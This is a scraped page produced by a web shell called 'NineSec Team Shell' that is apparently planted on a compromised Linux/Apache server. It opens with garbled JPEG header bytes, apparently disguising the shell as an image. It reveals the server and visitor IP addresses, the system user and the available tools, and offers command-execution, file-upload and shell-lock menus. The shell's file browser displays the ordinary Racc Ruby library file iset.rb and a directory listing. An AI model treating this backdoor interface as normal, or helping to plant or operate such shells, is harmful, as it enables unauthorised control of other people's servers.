�����JFIF��������(ICC_PROFILE���������mntrRGB XYZ ������������acsp�������������������������������������-��������������������������������������������������� desc�������trXYZ��d���gXYZ��x���bXYZ������rTRC������(gTRC������(bTRC������(wtpt������cprt������ NineSec Team Shell
NineSec Team Shell
Server IP : 51.38.211.120  /  Your IP : 216.73.216.188
Web Server : Apache
System : Linux bob 5.15.85-1-pve #1 SMP PVE 5.15.85-1 (2023-02-01T00:00Z) x86_64
User : readytorun ( 1067)
PHP Version : 8.0.30
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0755) :  /etc/ldap/../etckeeper/../../usr/lib/ruby/../ruby/2.7.0/racc/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : //etc/ldap/../etckeeper/../../usr/lib/ruby/../ruby/2.7.0/racc/iset.rb
#
# $Id: 31aa4331c08dfd4609c06eb5f94b7ef38dc708e1 $
#
# Copyright (c) 1999-2006 Minero Aoki
#
# This program is free software.
# You can distribute/modify this program under the terms of
# the GNU LGPL, Lesser General Public License version 2.1.
# For details of the GNU LGPL, see the file "COPYING".
#

module Racc

  # An "indexed" set.  All items must respond to :ident.
  class ISet

    def initialize(a = [])
      @set = a
    end

    attr_reader :set

    def add(i)
      @set[i.ident] = i
    end

    def [](key)
      @set[key.ident]
    end

    def []=(key, val)
      @set[key.ident] = val
    end

    alias include? []
    alias key? []

    def update(other)
      s = @set
      o = other.set
      o.each_index do |idx|
        if t = o[idx]
          s[idx] = t
        end
      end
    end

    def update_a(a)
      s = @set
      a.each {|i| s[i.ident] = i }
    end

    def delete(key)
      i = @set[key.ident]
      @set[key.ident] = nil
      i
    end

    def each(&block)
      @set.compact.each(&block)
    end

    def to_a
      @set.compact
    end

    def to_s
      "[#{@set.compact.join(' ')}]"
    end

    alias inspect to_s

    def size
      @set.nitems
    end

    def empty?
      @set.nitems == 0
    end

    def clear
      @set.clear
    end

    def dup
      ISet.new(@set.dup)
    end

  end   # class ISet

end   # module Racc

NineSec Team - 2022
Name
Size
Last Modified
Owner
Permissions
Options
..
--
October 23 2023 6:29:37
root
0755
rdoc
--
January 06 2022 1:34:12
root
0755
compat.rb
0.64 KB
December 25 2019 10:50:58
root
0644
debugflags.rb
1.4 KB
December 25 2019 10:50:58
root
0644
exception.rb
0.303 KB
December 25 2019 10:50:58
root
0644
grammar.rb
22.129 KB
December 25 2019 10:50:58
root
0644
grammarfileparser.rb
14.914 KB
December 25 2019 10:50:58
root
0644
info.rb
0.328 KB
December 25 2019 10:50:58
root
0644
iset.rb
1.353 KB
December 25 2019 10:50:58
root
0644
logfilegenerator.rb
5.158 KB
December 25 2019 10:50:58
root
0644
parser-text.rb
18.411 KB
December 25 2019 10:50:58
root
0644
parser.rb
18.344 KB
December 25 2019 10:50:58
root
0644
parserfilegenerator.rb
11.662 KB
December 25 2019 10:50:58
root
0644
pre-setup
0.353 KB
December 25 2019 10:50:58
root
0644
sourcetext.rb
0.633 KB
December 25 2019 10:50:58
root
0644
state.rb
19.843 KB
December 25 2019 10:50:58
root
0644
statetransitiontable.rb
8.018 KB
December 25 2019 10:50:58
root
0644
static.rb
0.134 KB
December 25 2019 10:50:58
root
0644

NineSec Team - 2022